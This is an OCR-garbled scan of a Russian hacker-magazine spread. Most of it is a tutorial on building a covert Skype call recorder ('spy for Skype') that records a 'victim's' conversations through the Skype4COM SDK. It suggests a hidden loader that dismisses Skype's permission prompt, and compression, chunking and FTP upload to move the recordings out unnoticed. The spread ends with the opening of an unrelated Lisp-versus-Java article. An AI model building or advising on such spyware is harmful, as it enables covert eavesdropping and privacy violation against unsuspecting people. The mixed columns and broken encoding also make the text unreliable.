пускай Visual Studio (я использовал 2008-ю версию) и создавай новый ществляется всего лишь одной строкой:
проект. В качестве типа проекта выбери шаблон SEHEwc.
Пока у тебя создается проект, я вкратце расскажу про шаблон SEHEwc. call.set_CaptureMicDevice(
По правде говоря, это не совсем шаблон в привычном нам понимании. TCallIoDeviceType.callIoDeviceTypeFile,
В реале это полноценный пример, демонстрирующий все возможности @"Ïóòü, êóäà ñîõðàíÿòü" +
хваленого мной SDK. Демка написана очень хорошо и разбираться в ее call.Id.ToString() + ".wav");
коде одно удовольствие.
До начала погружения в код стартани свой скайп и запусти В первый параметр метода set_captureMicDevice требуется передать
созданный прожект (я сейчас про шаблон). При выполнении ис- устройство, на которое будет выведен поток с микрофона. Типы устройств
ходника скайп преданно отрапортует, что такое-то приложение хранятся в перечислении TCallIoDeviceType. Мы хотим захватывать звук
пытается получить доступ к его функциям. Давай добро и попро- в файл, поэтому ставим callIoDeviceTypeFile. Второй параметр зависит от
буй отправить через скайп текстовое сообщение. Не успеешь первого. В нашем случае в нем передается путь к файлу, в который будем
его запулить, как весь отправленный текст появится в текстовом сохранять результат записи.
поле. Это означает, что демонстрационный пример успешно Обрати внимание, что вызовом метода set_captureMicDevice мы со-
работает. храним лишь голос нашей жертвы, а те, с кем она говорит — останутся
Мощность примера не вызывает сомнений. На первый взгляд может за кадром. Записывать собеседников мы будем при помощи метода
показаться, что его код дает ответы на самые изощренные вопросы, set_OutputDevice:
связанные с программированием скайпа. Но самая нужная для нас фича —
запись разговоров, в нем, увы, не реализована. Что ж, будем исправлять call.set_OutputDevice(
ситуацию. TCallIoDeviceType.callIoDeviceTypeFile,

098 XÀÊÅÐ 01 /133/ 10


>> coding

@"Ïóòü êóäà ñîõðàíÿòü" +


call.Id.ToString() + ".wav"); ÂÛÂÎÄ ÔÀÉËÎÂ
Рано или поздно ты столкнешься с еще одной большой проблемой —
Параметры у него точно такие же, как и у предыдущего, поэтому дважды сбором урожая. Безошибочно сейвить всю болтовню жертвы, конечно
рассказывать не буду :). же, хорошо, но какой толк от награбленного добра, если его нельзя
Можно сказать, что все готово. Компиль и запускай проект. При стар- забрать и проанализировать? Верно, никакого.
тинге не забудь одобрить в скайпе инжект, иначе ничего захватить не Шпион для скайпа — это не кейлоггер и его логи так просто по почте не
получится. отправишь. Мало того, что файлы со звуком брутально весят, так еще и
Попробуем протестировать наше приложение в реальных условиях. пересылать их протоколу smtp совсем не айс.
Попроси своего приятеля, чтобы он позвонил тебе по скайпу и немного Задача вывода файлов усложняется в несколько раз, если юзер
поболтал с тобой. сидит не на безлимите (да-да, такие еще встречаются). В этом случае
Если при переписывании листинга ты был крайне внимателен, то по пересылка больших по объему файлов не останется незамеченной в
переданным в методы captureMicDevice и set_OutputDevice путям для статистике и это обязательно насторожит продвинутого пользователя.
сохранения файлов будут лежать свежеиспеченные WAV’ки. Прослу- Особенно, когда он будет испытывать большие тормоза во время на-
шай их в своем плеере и убедись, что все работает как надо. хождения в сети.
Пользоваться SDK крайне просто (особенно если пишешь под .NET) и Немного покумекав, я пришел к следующему алгоритму:
его возможности будут однозначно востребованы при разработке про- 1. Кодирование каждого файла со звуком в формат mp3. Изначально
фессионального skype-logger’a. все разговоры нашей жертвы мы писали в WAV’ы, которые очень
Я не буду тебе рассказывать, как выполнять перехват текстовых со- много весят. Например, средний размер продолжительной беседы
общений и другой полезной инфы. Все это делается путем вызова (около часа) может достигать 50-80 метров (в зависимости от настро-

Ó ÎÔÈÖÈÀËÜÍÎÃÎ SDK ÅÑÒÜ ÎÄÈÍ, ÍÎ ÊÐÀÉÍÅ


ÁÎËÜØÎÉ, ÌÈÍÓÑ. ÏÐÈ ÇÀÏÓÑÊÅ ÒÂÎÅÃÎ
ÏÐÈËÎÆÅÍÈß ÑÊÀÉÏ ÁÓÄÅÒ ÏÎÑÒÎßÍÍÎ
ÁÈÒÜ ÒÐÅÂÎÃÓ
парочки методов, которые подробно документированы. Доки (само ек). Пересылать такой файл в чистом виде, мягко говоря, нереально.
собой на английском) всегда доступны на официальном портале: Перекодировка в формат mp3 частично решит проблему размера.
https://developer.skype.com/Docs/Skype4COMLib. Если ты испыты- Если выставить максимальную степень сжатия и минимальный
ваешь проблемы с инглишем, то не расстраивайся. Просто посмотри битрейт, то размер удастся сократить в 3-4 раза. Это уже лучше, но не
код шаблона приложения. Думаю, ты во всем разберешься. В крайнем идеально. Вывод тех же 5 метров может показаться затруднительным.
случае — пиши мне. 2. Разбивка файла на более мелкие части. В предыдущем абзаце я
сказал, что даже такая операция как кодирование файла в mp3 не
ÄÎÑÀÄÍÛÅ ÎÃÐÀÍÈ×ÅÍÈß спасет тебя от проблем с пересылкой. Лучше всего разбить сжатый
У официального SDK есть один, но крайне большой, минус. При запуске файл на более мелкие части и отправлять уже их. Например, раздро-
твоего приложения скайп будет постоянно бить тревогу. Сам понима- бить mp3 на частички по 300-500 Кб. Такие крохотульки будет куда
ешь, если жертва увидит странное окошко с вопросом: «а разрешить проще и быстрее вывести с поля битвы.
ли этому приложению доступ?», то с 99,9% вероятностью она нажмет на По подготовке файлов к отправке я вроде все сказал. Быстренько про-
кнопочку «Нет» и ты останешься в пролете. Чтобы этого не случилось, бежимся по способу отправки. Несколькими абзацами выше, я заявил,
я рекомендую тебе делать две проги — одна будет ориентирована на что пересылать такие вещи по smtp не очень правильно, да и попро-
захват звука и написана на удобном C#, а вторая является своего рода сту проблематично. Куда лучше заюзать проверенный годами старый
загрузчиком. Ее основной целью будет незаметное пребывание в добрый ftp! Встроить в свое .NET-приложение FTP-клиент — что может
системе, скрытие/нажатие кнопок ненужных окон (это про окошко одо- быть проще? Взгляни на врезку и убедись сам.
брения запуска). Кроме того, через эту самую прогу-загрузчик можно
будет реализовать все функции удаленного управления и т.д. В общем, HAPPY END
идею ты понял. Нет предела возможностям человека и нет предела совершенству. Не-
решаемых задач не бывает и все трудности можно преодолеть. Сегодня
ÊÀÊ ÁÎÐÎÒÜÑß Ñ «ÍÅÍÓÆÍÛÌÈ» ÎÊÍÀÌÈ? я рассказал тебе про строение скелета voice-logger’a, и дальнейший
И во втором и в третьем методе захвата скайп-бесед мы напоролись выбор зависит только от тебя. Либо ты сведешь всю полученную инфу в
на проблему — взаимодействие с окнами чужого приложения. Я одну кучу и создашь неуловимого шпиона для скайпа, либо разработа-
говорил, что о работе с чужими окнами в нашем журнале мы рас- ешь профессиональный инструмент для легального бэкапа перегово-
сказывали много раз (рекомендую статью про угон кошельков веб ров :). Выбор за тобой, мне лишь остается попрощаться и пожелать тебе
мани, опубликованную года 3-4 назад), но если ты только влился в удачи!
нашу тусовку и не знаешь, что да как, не поленись, зайди на bing. P.S. Полные исходники моего трояна не проси. Все равно не дам, я
com и поищи там на предмет функций FindWindow, GetWindowText, жадный :). А если серьезно, я не поддерживаю такие вещи и не хочу,
PostMessage. Поисковик мелкомягких сразу же тебя выведет на чтобы многие тупо компили готовый проект и приступали к боевым
нужный раздел MSDN’а и ты быстренько сможешь познакомиться с действиям. Прослушка разговоров — это вторжение в личную жизнь,
этими полезными функциями. а, помимо незаконности, еще и подло! До встречи! z

XÀÊÅÐ 01 /133/ 10 099


CODING
LINKFLY HTTP://LINKFLY.RU

z
«Ты посмотри, все на нем пишут» или «Все
пользуются MS Office, а ведь он написан на
С++», или «Видишь, какая большая корпора-
ция Microsoft, а они говорят, что надо писать
на .NET».
• А еще, наверное, тем, что здесь будут при-
водиться конкретные факты, подтверждающие
не сопоставимые ни с чем преимущества.
В современном мире даже начинающий про-
граммист догадывается, что предоставляемые
корпорациями технологии в первую очередь
нужны им самим для укрепления позиций на
рынке, и только в последнюю очередь для
того, чтобы ты быстро и качественно разраба-
тывал программный продукт. Для них важно
другое: насколько конкретно ты влипнешь в
эти самые технологии. Итак, пока одни черты-

HOLYWAR:
хаются в мире Microsoft и надеются, что луч-
ший из миров — мир IBM, а в мире IBM дума-
ют, что у соседа «трава зеленее» и посмат-
ривают в сторону Microsoft, мы займемся
настоящим программированием. Конечно,
вряд ли нам удастся в рамках одной короткой
статьи привести все аргументы и рассказать
обо всех сокровищах Лисп-культуры. А вот
основополагающие концепции показать впол-

LISP VS. JAVA


не реально.
Lisp — это сокращение от LISt Processing,
что в переводе значит: «обработка списков».
Следовательно, можно предположить, что
язык предназначен лишь для обработки
списков. Но есть один, казалось бы, незна-
чительный (для непосвященных) нюанс: про-

COMMON LISP: ÏÐÎÑÒÎÒÀ È ÌÎÙÜ граммы на Лиспе также представляются в


виде списков. Итак, что же мы получаем? Мы

ÏÐÎÌÛØËÅÍÍÎÃÎ ÑÒÀÍÄÀÐÒÀ
получаем язык, который предназначен для
обработки списков (в момент своего рожде-
ния) с помощью программ, представляемых в
виде списков. Звучит сумбурно, но это, соб-
 ÐÀÌÊÀÕ ÝÒÎÉ ÑÒÀÒÜÈ ÌÛ ÏÎÏÐÎÁÓÅÌ ственно, и есть главный секрет успеха.
Если ты решил замутить свой язык программи-
ÑÐÀÂÍÈÒÜ ÏÐÈÅÌÛ ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß ÍÀ рования и захотел позаимствовать это реше-
ние — ты получишь еще один диалект Лиспа.
ßÇÛÊÅ COMMON LISP È ßÇÛÊÅ JAVA. Если же ты пожелаешь, чтобы в твоем языке
была поддержка всех существующих на дан-
ÍÀ ÊÎÍÊÐÅÒÍÛÕ ÏÐÈÌÅÐÀÕ ÌÛ ный момент технологий программирования, то
получишь что-то подобное диалекту Common
ÏÐÎÄÅÌÎÍÑÒÐÈÐÓÅÌ ÊÎÍÖÅÏÒÓÀËÜÍÛÅ Lisp. Может быть, какие-то возможности твоего
диалекта и не будут входить в этот стандарт,
ÎÃÐÀÍÈ×ÅÍÈß ßÇÛÊÀ JAVA È ÏÐÈÂÅÄÅÌ но вряд ли для тех, кто программирует на
Лиспе это будет серьезный аргумент — макрос,
ÀÐÃÓÌÅÍÒÛ, ÃÎÂÎÐßÙÈÅ Î ÍÅÎÁÕÎÄÈÌÎÑÒÈ расширяющий язык дополнительной возмож-
ностью, пишется за 1-2 часа (а то и за пару
ÏÐÈÌÅÍßÒÜ ÁÎËÅÅ ÑÎÂÅÐØÅÍÍÛÉ, ËÅÃÊÎ минут).

ÐÀÑØÈÐßÅÌÛÉ È ÏÐÎÂÅÐÅÍÍÛÉ ÂÐÅÌÅÍÅÌ ×ÒÎ È ÍÅ ÑÍÈËÎÑÜ ÐÀÇÐÀÁÎÒ×È-


ÊÀÌ ÍÀ JAVA
ßÇÛÊ ÏÐÎÃÐÀÌÌÈÐÎÂÀÍÈß. Здесь я опишу возможности языка Lisp, кото-
рые отсутствуют в языке Java или имеют край-
не урезанные варианты, не вписывающиеся
ÏÎ×ÅÌÓ ÂÑÅ-ÒÀÊÈ ËÈÑÏ? • Тем, что она о языке программирования, в модель описания вычислений языка и
Первый вопрос, который бы появился у меня, который не было бы ошибкой назвать «бес- имеющие проблемы интеграции друг с другом.
будь я на месте читателя: «Чем эта статья смертным» на фоне рождающихся и умираю- Приступим!
отличается от очередного пиара j2ee/.net/ щих языков и технологий. • Единообразный и древовидный синтаксис,
python/jsf/asp/ и тому подобных?». Отлично, • И тем, что в ней не будут приводиться позволяющий максимально просто генериро-
попробую на него ответить: абстрактные (и сомнительные